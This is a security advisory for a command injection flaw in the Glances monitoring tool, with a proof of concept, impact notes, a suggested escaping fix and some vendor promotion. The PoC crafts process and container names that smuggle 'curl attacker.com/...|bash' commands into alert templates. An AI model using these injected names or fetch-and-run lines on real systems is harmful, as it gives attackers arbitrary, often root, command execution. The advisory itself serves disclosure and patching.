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GHSA-vcv2-q258-wrg7

HIGH

Glances has a Command Injection via Process Names in Action Command Templates

Also known asCVE-2026-32608
Published
Mar 16, 2026
Updated
Mar 19, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk15th percentile+0.23%
0.00%0.25%0.50%0.74%0.0%0.0%0.0%0.2%Apr 26Jun 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐍glances

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., {{name}}, {{key}}) that are populated with runtime monitoring data. The secure_popen() function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to subprocess.Popen(shell=False). When a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands.

Details

The action execution flow:

  1. Admin configures an action in glances.conf (documented feature):
[cpu]
critical_action=echo "High CPU on {{name}}" | mail [email protected]
  1. When the threshold is exceeded, the plugin model renders the template with runtime stats (glances/plugins/plugin/model.py:943):
self.actions.run(stat_name, trigger, command, repeat, mustache_dict=mustache_dict)
  1. The mustache_dict contains the full stat dictionary, including user-controllable fields like process name, filesystem mnt_point, container name, etc. (glances/plugins/plugin/model.py:920-943).

  2. In glances/actions.py:77-78, the Mustache library renders the template:

if chevron_tag:
    cmd_full = chevron.render(cmd, mustache_dict)
  1. The rendered command is passed to secure_popen() (glances/actions.py:84):
ret = secure_popen(cmd_full)

The secure_popen vulnerability (glances/secure.py:17-30):

def secure_popen(cmd):
    ret = ""
    for c in cmd.split("&&"):
        ret += __secure_popen(c)
    return ret

And __secure_popen() (glances/secure.py:33-77) splits by > and | then calls Popen(sub_cmd_split, shell=False) for each segment. The function splits the ENTIRE command string (including Mustache-rendered user data) by &&, >, and | characters, then executes each segment as a separate subprocess.

Additionally, the redirect handler at line 69-72 writes to arbitrary file paths:

if stdout_redirect is not None:
    with open(stdout_redirect, "w") as stdout_redirect_file:
        stdout_redirect_file.write(ret)

PoC

Scenario 1: Command injection via pipe in process name

# 1. Admin configures processlist action in glances.conf:
# [processlist]
# critical_action=echo "ALERT: {{name}} used {{cpu_percent}}% CPU" >> /tmp/alerts.log

# 2. Attacker creates a process with a crafted name containing a pipe:
cp /bin/sleep "/tmp/innocent|curl attacker.com/evil.sh|bash"
"/tmp/innocent|curl attacker.com/evil.sh|bash" 9999 &

# 3. When the process triggers a critical alert, secure_popen splits by |:
#   Command 1: echo "ALERT: innocent
#   Command 2: curl attacker.com/evil.sh   <-- INJECTED
#   Command 3: bash used 99% CPU" >> /tmp/alerts.log

Scenario 2: Command chain via && in container name

# 1. Admin configures containers action:
# [containers]
# critical_action=docker stats {{name}} --no-stream

# 2. Attacker names a Docker container with && injection:
docker run --name "web && curl attacker.com/rev.sh | bash && echo " nginx

# 3. secure_popen splits by &&:
#   Command 1: docker stats web
#   Command 2: curl attacker.com/rev.sh | bash   <-- INJECTED
#   Command 3: echo --no-stream

Impact

  • Arbitrary command execution: An attacker who can control a process name, container name, filesystem mount point, or other monitored entity name can execute arbitrary commands as the Glances process user (often root).

  • Privilege escalation: If Glances runs as root (common for full system monitoring), a low-privileged user who can create processes can escalate to root.

  • Arbitrary file write: The > redirect handling in secure_popen enables writing arbitrary content to arbitrary file paths.

  • Preconditions: Requires admin-configured action templates referencing user-controllable fields + attacker ability to run processes on monitored system.

Recommended Fix

Sanitize Mustache-rendered values before secure_popen processes them:

# glances/actions.py

def _escape_for_secure_popen(value):
    """Escape characters that secure_popen treats as operators."""
    if not isinstance(value, str):
        return value
    value = value.replace("&&", " ")
    value = value.replace("|", " ")
    value = value.replace(">", " ")
    return value

def run(self, stat_name, criticality, commands, repeat, mustache_dict=None):
    for cmd in commands:
        if chevron_tag:
            if mustache_dict:
                safe_dict = {
                    k: _escape_for_secure_popen(v) if isinstance(v, str) else v
                    for k, v in mustache_dict.items()
                }
            else:
                safe_dict = mustache_dict
            cmd_full = chevron.render(cmd, safe_dict)
        else:
            cmd_full = cmd
        ...

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIglancesall versions4.5.2

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for glances. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update glances to 4.5.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vcv2-q258-wrg7 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-vcv2-q258-wrg7 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-vcv2-q258-wrg7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., `{{name}}`, `{{key}}`) that are populated with runtime monitoring data. The `secure_popen()` function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to `subprocess.Popen(shell=False)`. When a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains
O3 Security · Impact-Aware SCA

Is GHSA-vcv2-q258-wrg7 in your dependencies?

O3 detects GHSA-vcv2-q258-wrg7 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.